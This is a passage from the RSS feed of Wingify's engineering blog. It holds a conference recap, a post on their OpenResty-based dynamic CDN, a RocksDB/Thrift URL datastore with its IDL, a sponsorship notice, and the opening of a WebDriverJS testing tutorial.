which seemed to attract a lot of people (more than once for the free t-shirt). A few people gave us compliments for the A-4 insert we distributed to all the participants at the time of registration. Thanks to Paras for helping out with the content and the design. On the first day, an overwhelming number of people walked up to our booth. They were mostly unaware of our and our product's existence. Many were blown away by the idea. Some not so much. But after talking to so many people, we figured that we were not absolutely correct about ignoring this conference as a place to promote the product and get prospective clients. Other than engineers, there were decision makers from large companies like Amazon, Citibank, Ebay and Lenovo who Ankit got a chance to speak with. We were primarily at Fifth Elephant for the purpose of establishing the Wingify engineering brand and hiring. We were able to spread the word about what we do and got people interested about product and work. So on the front of establishing our engineering brand, we were somewhat successful - this was evident from the kind of conversations we had with people at our booth and the number of people who shared their contact details with us (this is not always very conclusive as free goodies attract people and the number can be deceiving). A lot of people were interested in understanding what kind of roles we are hiring for. These people were interested in data science and software engineering. Fingers crossed - we might get some applications soon and opportunity to work with some amazing people. People found our product cool - many did not know that something of this sort existed. I think this was one of the things that got them interested. However, some were sad to know that we are based out of Delhi instead of Bangalore, as I initially said that it seemed like most of the attendees were from Bangalore. That just says that the community in Delhi needs to work together to make Delhi more exciting for engineers. <h2 id="community" style="position:relative;"><a href="#community" aria-label="community permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Community</h2> We engaged with the community through our booth and at other moments like lunch during the conference. We got the opportunity to make connections with different startups and individuals like Jabong, BloomReach, SupportBee, Inmobi, Flipkart, GlusterFS (and Red Hat), Qubole, Myntra, Aerospike and Slideshare. I might have missed some unintentionally. We got to learn about what they are doing and we shared what we are doing. Discussions were usually about the product, engineering, our tech stack, specific engineering problems, the team, work culture, community in Delhi, etc. People were exited to know our stack and what we are doing with it. We always knew that our tech stack is not the conventional stack but we realized that it's uncommon and cool. In the process, we had good some good discussions and connected with good people who we think will hopefully help us with solving some problems we are trying to solve - making friends of Wingify :) <h2 id="we-learned-about-new-things" style="position:relative;"><a href="#we-learned-about-new-things" aria-label="we learned about new things permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>We learned about new things</h2> We have not always been very focussed at doing a lot with collected data. With our latest release, we have come up with a number of features that make use of large amount of data our systems collect and our solutions to these problems were rather unconventional. With the latest release and our plans, we will be making more and more use of collected data for deriving useful insights for our customers and building new features that will help our customers optimize and increase their conversions. Since we have plans to work with data, The Fifth Elephant was an important conference for us to learn about what exactly is going on in the Big Data universe and how we can make use of all that at Wingify. Aerospike NoSQL Database, Cachebox, Imobi's Grill project are just a few things that we got introduced to and we may explore them in the future for our varied use-cases. It was interesting to see people are trying to leverage SSDs for solving different kind of problems. Aerospike is a NoSQL database optimized for SSD disks and claims to be extremely performant (200,000 QPS per node). CacheBox is an advanced caching solution that leverages flash storage for improving performance for databases. Other than these systems, there were some learning around building big data infrastructure, real-time data pipelines and data mining. There was a talk on [Lessons from Elasticsearch in Production][12] by [Swaroop CH][13] from [Helpshift][14]. We have been using Elasticsearch at Wingify and it was interesting to see that we were not facing similar problems as they were. We took that as a sign to be cautious and be prepared for firefighting such problems. These were around using Elasticsearch's Snapshot and Restore API (they say it doesn't work) and performing rolling upgrades (which is the recommended way of doing upgrades). We never had such problems but we are now aware that others have had such problems and we can be better prepared. <h2 id="to-sum-up" style="position:relative;"><a href="#to-sum-up" aria-label="to sum up permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>To sum up</h2> It was a great experience being at this conference. It was for the first time we attended a Big Data conference. This ecosystem in India seems to be big and growing and hopefully there will be better content at conferences like these in the future. Thanks to [HasGeek][15] for taking the initiative. We hope that the conference will continue to happen in the years to come. If you were present at the conference and met us there, please do not hesitate to connect with us. If you have any questions to ask regarding our experiences, go ahead and leave comments and we will get back to you. If you like what we do at Wingify and want to join the force, we will be happy to work with you. [We are hiring!][16] <h3 id="photo-credits" style="position:relative;"><a href="#photo-credits" aria-label="photo credits permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Photo Credits</h3> The beautiful photographs in this post have been provided by [HasGeek][17]. You can find more photographs of The Fifth Elephant at the following links: <ul> <li>[Conference Day 1][18]</li> <li> [Conference Day 2][19] [1]: <a href="http://fifthelephant.in">http://fifthelephant.in</a> [2]: <a href="http://twitter.com/ankneo">http://twitter.com/ankneo</a> [3]: <a href="http://github.com/softvar">http://github.com/softvar</a> [4]: <a href="http://github.com/vaidik">http://github.com/vaidik</a> [5]: <a href="http://hasgeek.tv">http://hasgeek.tv</a> [6]: <a href="https://funnel.hasgeek.com/fifthel2014/1166-the-art-of-data-mining-practical-learnings-from-re">https://funnel.hasgeek.com/fifthel2014/1166-the-art-of-data-mining-practical-learnings-from-re</a> [7]: <a href="https://funnel.hasgeek.com/fifthel2014/1143-using-elasticsearch-for-analytics">https://funnel.hasgeek.com/fifthel2014/1143-using-elasticsearch-for-analytics</a> [8]: <a href="https://speakerdeck.com/vaidik/using-elasticsearch-for-analytics">https://speakerdeck.com/vaidik/using-elasticsearch-for-analytics</a> [9]: <a href="http://elasticsearch.org">http://elasticsearch.org</a> [10]: <a href="http://elasticsearch.org">http://elasticsearch.org</a> [11]: <a href="https://vwo.com">https://vwo.com</a> [12]: <a href="https://funnel.hasgeek.com/fifthel2014/1181-lessons-from-elasticsearch-in-production">https://funnel.hasgeek.com/fifthel2014/1181-lessons-from-elasticsearch-in-production</a> [13]: <a href="https://twitter.com/swaroopch">https://twitter.com/swaroopch</a> [14]: <a href="http://helpshift.com">http://helpshift.com</a> [15]: <a href="http://hasgeek.in">http://hasgeek.in</a> [16]: <a href="http://wingify.com/careers">http://wingify.com/careers</a> [17]: <a href="http://hasgeek.in">http://hasgeek.in</a> [18]: <a href="https://www.flickr.com/photos/hasgeek/sets/72157645996766474/">https://www.flickr.com/photos/hasgeek/sets/72157645996766474/</a> [19]: <a href="https://www.flickr.com/photos/hasgeek/sets/72157645599451387/">https://www.flickr.com/photos/hasgeek/sets/72157645599451387/</a> </li> </ul></content:encoded><author>Vaidik Kapoor</author></item><item><title><![CDATA[Dynamic CDN]]></title><description><![CDATA[We, at Wingify, handle not just our own traffic, but also the traffic of major websites such as Microsoft, AMD, Groupon, and WWF that…]]></description><link>https://engineering.wingify.com//posts/dynamic-cdn/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/dynamic-cdn/</guid><pubDate>Wed, 23 Jul 2014 00:00:00 GMT</pubDate><content:encoded>We, at Wingify, handle not just our own traffic, but also the traffic of major websites such as <a href="http://www.microsoft.com/">Microsoft</a>, <a href="http://www.amd.com/">AMD</a>, <a href="http://www.groupon.com/">Groupon</a>, and <a href="http://www.worldwildlife.org/">WWF</a> that implement <a href="https://vwo.com">Visual Website Optimizer (VWO)</a> for their website optimization. VWO allows users to A/B test their websites and optimize conversions. With an intuitive WYSIWYG editor, you can easily make changes to your website and create multiple variations you can A/B test. When a visitor lands on your website, VWO selects one of the variations created in the running campaign(s) and the JavaScript library does the required modifications to generate the selected variation based on the URL visited seen by the visitor. Furthermore, VWO collects analytics data for every visitor interaction with the website and generates detailed reports to help you understand your audience behavior and provide deeper insight of your business results. Here is a very high-level overview of what goes on behind the scenes: <div style="text-align:center; margin: 5px"> <img src="/images/2014/07/0.png"> </div> <h2 id="how-it-started" style="position:relative;"><a href="#how-it-started" aria-label="how it started permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>How it started</h2> Back in the days, we deployed one server in the United States that had the standard LAMP stack running on it. The server stored all changes made to a website using VWO app, served our static JS library, collected analytics data, captured visitor data, and saved it in a MySQL database. <div style="text-align:center; margin: 5px"> <img src="/images/2014/07/1.png"> </div> This implementation worked perfectly for us initially, when we were serving a limited number of users. However, as our user base kept growing, we had to deploy additional Load Balancers and Varnish cache servers (each having 32GB of RAM and we had 8 such servers to meet our requirements) to make sure that we cache the content for every requested URL and serve back the content in the least possible time. <div style="text-align:center; margin: 5px"> <img src="/images/2014/07/2.png"> </div> Gradually, we started using these servers only for serving JS settings and collecting analytics data, and started using Amazon's CloudFront CDN for serving static JS library. <h2 id="issues-we-faced" style="position:relative;"><a href="#issues-we-faced" aria-label="issues we faced permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Issues we faced</h2> This worked great for a while till we hit our traffic to more than 1k requests per sec. With so much of traffic coming in and the increasing number of unique URLs being tested, the system started failing. We experienced frequent cache misses and Varnish required more RAM to cope up with the new requirements. We knew we had hit the bottom-end there and quickly realized that it was time for us to stop everything and get our thinking caps back on to redesign the architecture. We now needed a scalable system that was easier to maintain, and would cater to the needs of our users from various geo locations. <h2 id="the-new-requirements" style="position:relative;"><a href="#the-new-requirements" aria-label="the new requirements permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>The new requirements</h2> Today, VWO uses a Dynamic CDN built in-house that can cater to users based in any part of the world. The current implementation offers us with the following advantages in comparison with other available CDNs: <ul> <li>Capability of handling almost any amount of requests at average response times of 50ms</li> <li>Handles 10k+ request/sec per node (8GB RAM). We have benchmarked this system to handle 50k requests/sec per node in our current production scenario</li> <li>100% uptime</li> <li>Improved response time and data acquisition as the servers are closer to the user, thus minimizing the latency and increasing the chances of successful delivery of data</li> <li>Considerable cost savings as compared to the previous system</li> <li>Freedom to add new nodes without any dependencies on other nodes</li> </ul> <h3 id="implementation-challenges-and-technicalities" style="position:relative;"><a href="#implementation-challenges-and-technicalities" aria-label="implementation challenges and technicalities permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Implementation challenges and technicalities</h3> The core issue we had to resolve was to avoid sending the same response for all the requests coming from a domain or a particular account. In the old implementation, we were serving JSON for all the campaigns running in an account, irrespective of a campaign running on that URL. This loaded unnecessary JS code, which might not be useful for a particular URL, thereby increasing load time of the website. We knew how page-load time is crucial for online businesses and how it directly impacts their revenue. In the marketing world, the users are less likely to make purchases from a slow loading website as compared to a fast loading website. <div style="text-align:center; margin:5px"> <img src="/images/2014/07/3.png"> </div> It is important to make sure that we only serve relevant content based on the URL of the page. There are two ways to do this: <ul> <li>Cache JSON for all the URLs and use cache like Varnish (the old system).</li> <li>Cache each campaign running in an account and then build/combine the settings dynamically for each URL. This approach is the fastest possible way of implementation with least amount of resources.</li> </ul> With the approach identified, we started looking for nodes that could do everything for us - generate dynamic JSON on the basis of request, serve static JS library, and handle data acquisition. Another challenge was to make these nodes a part of distributed system that spreads across different geographies, with no dependency on each other while making sure that the request is served from the closest location instead of nodes only in the US. We had written a blog post earlier to explain this to our customers. <a href="https://vwo.com/blog/geo-distributed-architecture/">Read it here</a>. <div style="text-align:center; margin:5px"> <img src="/images/2014/07/4.png"> </div> <a href="http://openresty.org/">OpenResty (aka. ngx_openresty)</a> our current workhorse, is a full-fledged web application server created by bundling the standard Nginx core with different <a href="http://wiki.nginx.org/3rdPartyModules">3rd-party Nginx modules</a> and their external dependencies. It also bundles Lua modules to allow writing URL handlers in Lua, and the Lua code runs within the web server. From 1 server running Apache + PHP to multiple nodes involving Nginx (load balancer) -> Varnish (cache) -> Apache + PHP (for cache miss + data collection), to the current system where each node in itself is capable of handling all types of requests. We serve our static JS library, JSON settings for every campaign and also use these servers for analytics data acquisition. The following section describes briefly the new architecture of our CDN and how VWO servers handle requests: <div style="text-align:center; margin:5px"> <img src="/images/2014/07/5.png"> </div> <ol> <li>We use <a href="http://wiki.nginx.org/HttpLuaModule#ngx.shared.DICT">Nginx-Lua Shared Dictionary</a>, an in-memory store shared among all the Nginx worker processes to store campaign specific data. Memcached is used as the first fallback if we have to restart the OpenResty server (it resets the shared dictionary). Our second fallback is our central MySQL database. If any request fails at any level, [the system] fetches it from the lower layer and responses are saved in all the above levels to make them available for the next request.</li> <li>Once the request hits our server to fetch JSON for the campaigns running on a webpage, VWO runs a regex match for the requested URL with the list of URL regex patterns stored in the Nginx-Lua shared dictionary (key being Account ID, O(1) lookup, FAST!). This returns the list of campaign IDs valid for the requested URL. All the regex patterns are compiled and cached in worker-process level and shared among all requests.</li> <li>Next, VWO looks up for the campaign IDs (returned after matching the requested URL) in the Nginx-Lua shared dictionary, with Account ID and Campaign ID as key (again an O(1) lookup). This returns the settings for all campaigns, which are then combined and sent with some additional data in response based on requests such as geo-location data, 3rd party integrations specific code, etc. We ensure that the caching layer does not have stale data and is updated within a few milliseconds. This offers us advantage in terms of validation time taken by most CDNs available.</li> <li>To ensure that the request is served from the closest server to the visitor, we use managed DNS services from DynECT that keeps a check on the response times from various POPs and replies with the best possible server IPs (both in terms of health and distance). This helps us ensure a failsafe delivery network.</li> <li>To ensure that the system captures analytics data, all data related to visitors, conversions and heatmaps is sent to these servers. We use Openresty with Lua for collecting all incoming data. All the data received at Openresty end is pushed to a Redis server running on all these machines. The Redis server writes the data as fast as possible, thereby reducing the chance of data loss. Next, we move data from the Redis servers to central RabbitMQ. This incoming data is then used by multiple consumers in various ways and stored at multiple places for different purposes. You can check our previous post <a href="http://engineering.wingify.com/scaling-with-queues/">Scaling with Queues</a> to understand more about our data acquisition setup.</li> </ol> As our customers keep growing and our traffic keeps growing, we will be able to judge better about our system, how well it scales and what problems it has. And as VWO grows and becomes a better and better, we will keep working on our current infrastructure to improve it and adjust it for our needs. We would like to thank <a href="http://agentzh.org/">agentzh (YichunZhang)</a> for building OpenResty and for helping us out whenever we were stuck with our implementation. We work in a dynamic environment where we collaborate and work towards architecting scalable and fault-tolerant systems like these. If these kind of problems and challenges interest you, we will be happy to work with you. <a href="https://wingify.com/careers">We are hiring!</a></content:encoded><author>Ankit Jain</author></item><item><title><![CDATA[We are sponsoring The Fifth Elephant 2014]]></title><description><![CDATA[We are excited to announce our sponsorship of The Fifth Elephant - a popular conference around the Big Data ecosystem. The conference will…]]></description><link>https://engineering.wingify.com//posts/sponsoring-fifth-elephant/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/sponsoring-fifth-elephant/</guid><pubDate>Mon, 21 Jul 2014 00:00:00 GMT</pubDate><content:encoded>We are excited to announce our sponsorship of <a href="https://fifthelephant.in">The Fifth Elephant</a> - a popular conference around the Big Data ecosystem. The conference will be held in Bangalore, India from 23rd to 26th July. Our engineers will be present at the conference. If you are <a href="http://github.com/wingify">interested in our work</a>, want to know more about what we are doing, want to work with us (<a href="http://wingify.com/careers">we're hiring</a>), get some cool goodies or just want to say Hi!, please visit our booth (B7) or catch any of our team members. We’d love to talk to you! We look forward to meeting you in Bangalore!</content:encoded><author>Vaidik Kapoor</author></item><item><title><![CDATA[Fast Storage with RocksDB]]></title><description><![CDATA[In November last year, I started developing an infrastructure that would allow us to collect, store, search and retrieve high volume data…]]></description><link>https://engineering.wingify.com//posts/fast-storage-with-rocksdb/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/fast-storage-with-rocksdb/</guid><pubDate>Fri, 13 Jun 2014 00:00:00 GMT</pubDate><content:encoded>In November last year, I started developing an infrastructure that would allow us to collect, store, search and retrieve high volume data. The idea was to collect all the URLs on which our <a href="https://visualwebsiteoptimizer.com/split-testing-blog/geo-distributed-architecture/">homegrown CDN</a> would serve JS content. Based on our current traffic, we were looking to collect some 10k URLs per second across four major geographic regions where we run our servers. In the beginning we tried MySQL, Redis, Riak, CouchDB, MongoDB, ElasticSearch but nothing worked out for us with that kind of high speed writes. We also wanted our system to respond very quickly, under 40ms between internal servers on private network. This post talks about how we were able to make such a system using C++11, <a href="http://rocksdb.org">RocksDB</a> and <a href="http://thrift.apache.org">Thrift</a>. First, let me start by sharing the use cases of such a system in VWO; the following screenshot shows a feature where users can enter a URL to check if VWO SmartCode was installed on it. <div style="text-align:center; margin:5px"> <img src="/images/2014/06/0.png"> VWO SmartCode checker </div> The following screenshot shows another feature where users can see a list of URLs matching a complex wildcard pattern, regex pattern, string rule etc. while creating a campaign. <div style="text-align:center; margin:5px"> <img src="/images/2014/06/1.png"> VWO URL Matching Helper </div> I <a href="http://kkovacs.eu/cassandra-vs-mongodb-vs-couchdb-vs-redis">reviewed</a> several opensource databases but none of them would fit our requirements except Cassandra. In clustered deployment, reads from Cassandra were too slow and slower when data size would grew. After understanding how Cassandra worked under the hood such as its log structured storage like LevelDB I started playing with opensource embeddable databases that would use similar approach such as LevelDB and Kyoto Cabinet. At the time, I found an embeddable persistent key-value store library built on LevelDB called <a href="http://rocksdb.org">RocksDB</a>. It was opensourced by Facebook and had a fairly active developer community so I started <a href="https://github.com/facebook/rocksdb/tree/master/examples">playing</a> with it. I read the <a href="https://github.com/facebook/rocksdb/wiki">project wiki</a>, wrote some working code and joined their Facebook group to ask questions around prefix lookup. The community was helpful, especially Igor and Siying who gave me <a href="https://www.facebook.com/groups/rocksdb.dev/permalink/506160312815821/">enough hints</a> around <a href="https://github.com/facebook/rocksdb/wiki/Prefix-Seek-API-Changes">prefix lookup</a>, using custom <a href="https://github.com/facebook/rocksdb/wiki/Hash-based-memtable-implementations">extractors</a> and <a href="http://en.wikipedia.org/wiki/Bloom_filter">bloom filters</a> which helped me write something that actually worked in our production environment for the first time. Explaining the technology and jargons is out of scope of this post but I would like to encourage the readers to read <a href="http://google-opensource.blogspot.in/2011/07/leveldb-fast-persistent-key-value-store.html">about</a> <a href="https://code.google.com/p/leveldb/">LevelDB</a> and to read the RocksDB <a href="https://github.com/facebook/rocksdb/wiki">wiki</a>. <div style="text-align:center; margin:5px"> <img src="/images/2014/06/2.png"> RocksDB FB Group </div> For capturing the URLs with peak velocity up to 10k serves/s, I reused our <a href="/scaling-with-queues/">distributed queue based infrastructure</a>. For storage, search and retrieval of URLs I wrote a custom datastore service using C++, RocksDB and Thrift called HarvestDB. <a href="http://thrift.apache.org/">Thrift</a> provided the <a href="http://en.wikipedia.org/wiki/Remote_procedure_call">RPC</a> mechanism for implementing this system as a distributed service accessible by various backend sub-systems. The backend sub-systems use client libraries <a href="http://thrift.apache.org/tutorial">generated by Thrift compiler</a> for communicating with the HarvestDB server. The HarvestDB service implements five remote procedures - ping, get, put, search and purge. The following <a href="http://thrift.apache.org/docs/idl">Thrift IDL</a> describes this service. <div class="gatsby-highlight" data-language="cpp"><pre class="language-cpp"><code class="language-cpp">namespace cpp harvestdb namespace go harvestdb namespace py harvestdb namespace php HarvestDB struct Url { 1: required i64 timestamp; 2: required string url; 3: required string version; } typedef list&lt;Url> UrlList struct UrlResult { 1: required i32 prefix; 2: required i32 found; 3: required i32 total; 4: required list&lt;string> urls; } service HarvestDB { bool ping(), Url get(1:i32 prefix, 2:string url), bool put(1:i32 prefix, 2:Url url), UrlResult search(1:i32 prefix, 2:string includeRegex, 3:string excludeRegex, 4:i32 size, 5:i32 timeout), bool purge(1:i32 prefix, 2:i64 timestamp) }</code></pre></div> Clients use <code class="language-text">ping</code> to check HarvestDB server connectivity before executing other procedures. RabbitMQ consumers consume collected URLs and <code class="language-text">put</code> them to HarvestDB. The PHP based application backend uses custom Thrift based client library to <code class="language-text">get</code> (read) and to <code class="language-text">search</code> URLs. A Python program runs as a periodic cron job and uses <code class="language-text">purge</code> procedure to purge old entries based on timestamp which makes sure we don't exhaust our storage resources. The system is in production for more than five months now and is capable of handling (benchmarked) workload of up to 24k writes/second while consuming less than 500MB RAM. Our future work will be on replication, sharding and fault tolerance of this service. The following diagram illustrates this architecture. <div style="text-align:center; margin:5px"> <img src="/images/2014/06/3.png"> Overall architecture </div> <a href="https://news.ycombinator.com/item?id=7899353">Discussion on Hacker News</a></content:encoded><author>Rohit Yadav</author></item><item><title><![CDATA[Automated e2e testing- WebDriverJS, Jasmine and Protractor]]></title><description><![CDATA[e2e or end-to-end or UI testing is a methodology used to test whether the flow of an application is performing as designed from start to…]]></description><link>https://engineering.wingify.com//posts/e2e-testing-with-webdriverjs-jasmine/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/e2e-testing-with-webdriverjs-jasmine/</guid><pubDate>Tue, 26 Nov 2013 00:00:00 GMT</pubDate><content:encoded>e2e or end-to-end or UI testing is a methodology used to test whether the flow of an application is performing as designed from start to finish. In simple words, it is testing of your application from the user endpoint where the whole system is a blackbox with only the UI exposed to the user. It can become quite an overhead if done manually and if your application has a large number of interactions/pages to test. In the rest of the article I'll talk about webdriverJS and Jasmine to automate your e2e testing, a combination which isn't talked about much on the web. <h2 id="what-is-webdriverjs" style="position:relative;"><a href="#what-is-webdriverjs" aria-label="what is webdriverjs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>What is WebDriverJS?</h2> This was something which took me quite sometime to put my head around and I feel this was more or less due to the various available options for everything related to WebDriver. So let's take it from the top and see what its all about. <h3 id="selenium" style="position:relative;"><a href="#selenium" aria-label="selenium permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Selenium</h3> As mentioned on the <a href="http://www.seleniumhq.org/">selenium website</a>, Selenium automates browsers. That's it. This having support for almost all major browsers, is a very good alternative to automate our tests in the browser. So whatever you do in the browser while testing your application, like navigating to pages, clicking a button, writing text in input boxes, submitting forms etc, can be automated using Selenium. <h3 id="webdriver" style="position:relative;"><a href="#webdriver" aria-label="webdriver permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>WebDriver</h3> WebDriver (or Selenium 2) basically refers to the language bindings and the implementations of the individual browser controlling code. WebDriver introduces a <a href="https://code.google.com/p/selenium/wiki/JsonWireProtocol">JSON wire protocol</a> for various language bindings to communicate with the browser controller. For example, to click an element in the browser, the binding will send POST request on <code class="language-text">/session/:sessionId/element/:id/click</code> So, at one end there is the language binding and a server, known as Selenium server, on the other. Both communicate using the JSON wire protocol. <h3 id="webdriverjs" style="position:relative;"><a href="#webdriverjs" aria-label="webdriverjs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>WebDriverJS</h3> As mentioned, WebDriver has a number of bindings for various languages like Ruby, Python etc. JavaScript being the language of choice for the web, is the latest one to make it to the list. Enter <a href="https://code.google.com/p/selenium/wiki/WebDriverJs">WebDriverJS</a>! So as you might guess, WebDriverJS is simply a wrapper over the JSON wire protocol exposing high level functions to make our life 